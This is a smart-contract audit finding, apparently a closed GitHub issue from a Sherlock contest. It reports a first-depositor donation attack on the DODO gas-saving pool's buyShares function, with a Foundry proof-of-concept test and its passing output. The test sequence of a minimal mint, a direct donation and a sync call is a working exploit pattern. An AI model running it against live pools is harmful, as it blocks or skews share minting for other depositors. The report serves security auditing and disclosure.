sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

osmanozdemir1 - The protocol is vulnerable to first depositor issue and donation attack #75

Closed sherlock-admin2 closed 9 months ago

sherlock-admin2 commented 9 months ago

osmanozdemir1

high

The protocol is vulnerable to first depositor issue and donation attack

Summary

The protocol is vulnerable to the first depositor issue.

Vulnerability Detail

GSPFunding::buyShares function has an if/else block that works depending on the total shares. The logic for the initial deposit and all deposits after that are different. The initial depositor can cause other users to mint unfair amount of shares or break share minting.

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L61C31

file: GSPFunding
// function buy shares
    ... 
        if (totalSupply == 0) {
            // case 1. initial supply
            // The shares will be minted to user
            shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)
                ? DecimalMath.divFloor(quoteBalance, _I_)
                : baseBalance;
            // The target will be updated
            _BASE_TARGET_ = uint112(shares);
            _QUOTE_TARGET_ = uint112(DecimalMath.mulFloor(shares, _I_));
        } else if (baseReserve > 0 && quoteReserve > 0) {
            // case 2. normal case
            uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
            uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
            uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
            // The shares will be minted to user
            shares = DecimalMath.mulFloor(totalSupply, mintRatio);
    ...

The minimum share amount to mint is 1001.

The first depositor can:

function test_firstDepositor() public {
        // Transfer tokens to accounts
        vm.startPrank(DAI_WHALE);
        dai.transfer(USER, 150 ether);
        dai.transfer(OTHER, 150 ether);
        vm.stopPrank();
        vm.startPrank(USDC_WHALE);
        usdc.transfer(USER, 150 * 1e6);
        usdc.transfer(OTHER, 150 * 1e6);
        vm.stopPrank();

        // Mint with min amount first.
        vm.startPrank(USER);
        dai.transfer(address(gsp), 1001); //min amount
        usdc.transfer(address(gsp), 1); // quote balance is much more compared to base balance. -> Shares will be calculated based on base balance.
        gsp.buyShares(USER);
        assertEq(gsp.balanceOf(USER), 1001);

        // Donate directly and then call sync to update reserves.
        dai.transfer(address(gsp), 100 ether);
        gsp.sync();
        vm.stopPrank();

        // Another user tries to mint 10e18 worth of shares.
        // It will revert due to mint amount is not enough.        
        vm.startPrank(OTHER);
        dai.transfer(address(gsp), 10e18);
        usdc.transfer(address(gsp), 1e7);
        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
        gsp.buyShares(OTHER);

        // User can only mint if he/she sends more than the first depositor's donation amount.
        dai.transfer(address(gsp), 100e18);
        usdc.transfer(address(gsp), 1e8);
        gsp.buyShares(OTHER);
    }

Results after running the test:

Running 1 test for test/GSPFunding.t.sol:TestGSPFunding
[PASS] test_firstDepositor() (gas: 367664)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.87s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L71C67

Tool used

Manual Review

Recommendation

The protocol team may provide initial supply and mint some initial share to prevent this issue.

Duplicate of #55